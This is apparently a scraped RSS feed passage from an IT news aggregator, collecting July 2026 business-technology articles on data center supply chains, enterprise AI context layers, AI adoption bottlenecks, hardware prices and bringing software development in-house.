<guid isPermaLink="true">https://tsecurity.de/de/3686295/it-nachrichten/ireland-stalls-1b-microsoft-tender-amid-digital-sovereignty-questions/</guid>
<pubDate>Wed, 22 Jul 2026 14:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Government plans another Redmond-only procurement despite calls to consider European rivals]]></content:encoded>
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<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The Fastest Way to Trade Prediction Markets Just Went Live]]></title>
<description><![CDATA[In the latest development, the fastest way to trade prediction markets just went live. Banana Predict is now live in beta at predict.bananagun.io, giving traders a dedicated terminal for prediction markets built on the same speed obsession that made Banana Gun a name in crypto trading. You get a ...]]></description>
<link>https://tsecurity.de/de/3686204/it-security-nachrichten/the-fastest-way-to-trade-prediction-markets-just-went-live/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686204/it-security-nachrichten/the-fastest-way-to-trade-prediction-markets-just-went-live/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the latest development, the fastest way to trade prediction markets just went live. Banana Predict is now live in beta at predict.bananagun.io, giving traders a dedicated terminal for prediction markets built on the same speed obsession that made Banana Gun a name in crypto trading. You get a real order book, cent-priced Yes and […]</p>
<p>The post <a href="https://secureblitz.com/fastest-way-to-trade-prediction-markets-went-live/">The Fastest Way to Trade Prediction Markets Just Went Live</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
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<title><![CDATA[Brace yourself for more RAM misery: DDR5 is now getting pricier — and there's a rumor that CPUs will be more expensive next year]]></title>
<description><![CDATA[It looks like the memory crisis isn't going anywhere, between DDR5 RAM price hikes and a new rumor about more expensive CPUs.]]></description>
<link>https://tsecurity.de/de/3686131/it-nachrichten/brace-yourself-for-more-ram-misery-ddr5-is-now-getting-pricier-and-theres-a-rumor-that-cpus-will-be-more-expensive-next-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686131/it-nachrichten/brace-yourself-for-more-ram-misery-ddr5-is-now-getting-pricier-and-theres-a-rumor-that-cpus-will-be-more-expensive-next-year/</guid>
<pubDate>Wed, 22 Jul 2026 13:32:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It looks like the memory crisis isn't going anywhere, between DDR5 RAM price hikes and a new rumor about more expensive CPUs.]]></content:encoded>
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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
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<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
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<title><![CDATA[Flipper Busy Bar Review: An Expensive Focus Tool]]></title>
<description><![CDATA[It didn’t keep my coworkers at bay, but Flipper’s expensive productivity tool did help me focus on the task at hand.]]></description>
<link>https://tsecurity.de/de/3685807/it-nachrichten/flipper-busy-bar-review-an-expensive-focus-tool/</link>
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<pubDate>Wed, 22 Jul 2026 11:37:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It didn’t keep my coworkers at bay, but Flipper’s expensive productivity tool did help me focus on the task at hand.]]></content:encoded>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
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<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



